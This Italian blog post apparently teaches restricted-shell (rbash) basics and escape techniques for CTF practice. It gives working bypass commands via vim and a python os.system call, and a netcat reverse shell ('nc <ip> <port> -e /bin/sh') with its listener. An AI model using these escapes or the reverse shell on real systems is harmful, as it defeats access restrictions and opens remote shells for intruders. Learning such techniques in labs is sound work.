#Cos’è “Restricted Shell” ?

Restricted Shell, rbash, rksh o rsh, è un tipo di shell che blocca molti comandi essenziali dell’ecosistema linux (come cd o echo) o variabili d’ambiente (come $SHELL). A volte una shell restricted blocca i comandi con all’interno / e gli output di re-indirizzamento come > e >>.

#Perchè implementare questo tipo di shell?

  • Bloccare l’esecuzione di software malevoli, e migliorare la sicurezza del sistema.
  • Creare degli utenti “ospiti”, Guest.
  • Ostacolare la cattura delle flag durante CTF. 😎

#Abilitare rbash per un utente

0.1
  1. Creiamo un nuovo utente carlino.
  2. Abilitiamo rbash per l’utente carlino.
  3. Controlliamo su /etc/passwd se la modifica è avvenuta con successo!

Spostiamoci sull’utente che abbiamo appena creato con su carlino e notiamo subito che nella nostra nuova shell alcuni comandi è impossibile eseguirli (output restricted).

0.2

#BYPASS

Molte strade ci portano a bypassare questo tipo di shell, dal meno classico ED-EDITORS ai più conosciuti VI o VIM. Da comandi come less, more, man, expect ad addirittura awk. Inoltre possiamo sfruttare linguaggi di programmazione presenti nel sistema come python e perl. Infine anche l’uso di reverse-shell e da connessioni ssh possiamoi bypassare la shell.

Analizziamo dunque alcuni metodi, che ci aiuteranno a non rimanere bloccati quando l’utente con cui siamo loggati presenta delle restrizioni.

#VIM

Con VIM infatti abbiamo la possibilità di aprire /bin/sh, evitando così tutte le restrizioni di rbash.

vim

ESC

:set shell=/bin/sh

ENTER

ESC

:shell

#PYTHON

Possiamo eseguire il seguente comando python per importare la libreria os che ci permetterà di far apparire una nuova shell che non sia restricted.

python3 -c 'import os; os.system("/bin/sh")'

#REVERSE SHELL

Anche una reverse shell ci può aiutare a bypassare una shell limitata!

nc <ip> <port> -e /bin/sh

nc -lnvp <port>

#SFIDA TE STESSO

Vuoi testare quello che hai imparato? Allenati con questa macchina:
Funbox: Rookie ~ VulnHub

Strumenti necessari:
– Conoscenza base di networking
– Cracking .zip con zip2jhon -> jhon oppure con fcrackzip
– Bypass rbash.
Manual enumeration directories and files.

FunBox: Rookie è una box Linux di livello EASY.

#SOCIAL NETWORKS

Se l’articolo vi è piaciuto, potete continuare a seguirci, oltre che su questo blog, anche sugli altri canali attivi e ricchi di contenuti: Twitch e YouTube.
Non esitate a lasciarci feedback, domande o precisazioni nei commenti o sui nostri canali social di Telegram e Discord!

Donato Di Pasquale
Donato Di Pasquale
@dipa996 | linkedin.com/in/ddipa | dipa.undo.it

Lascia un commento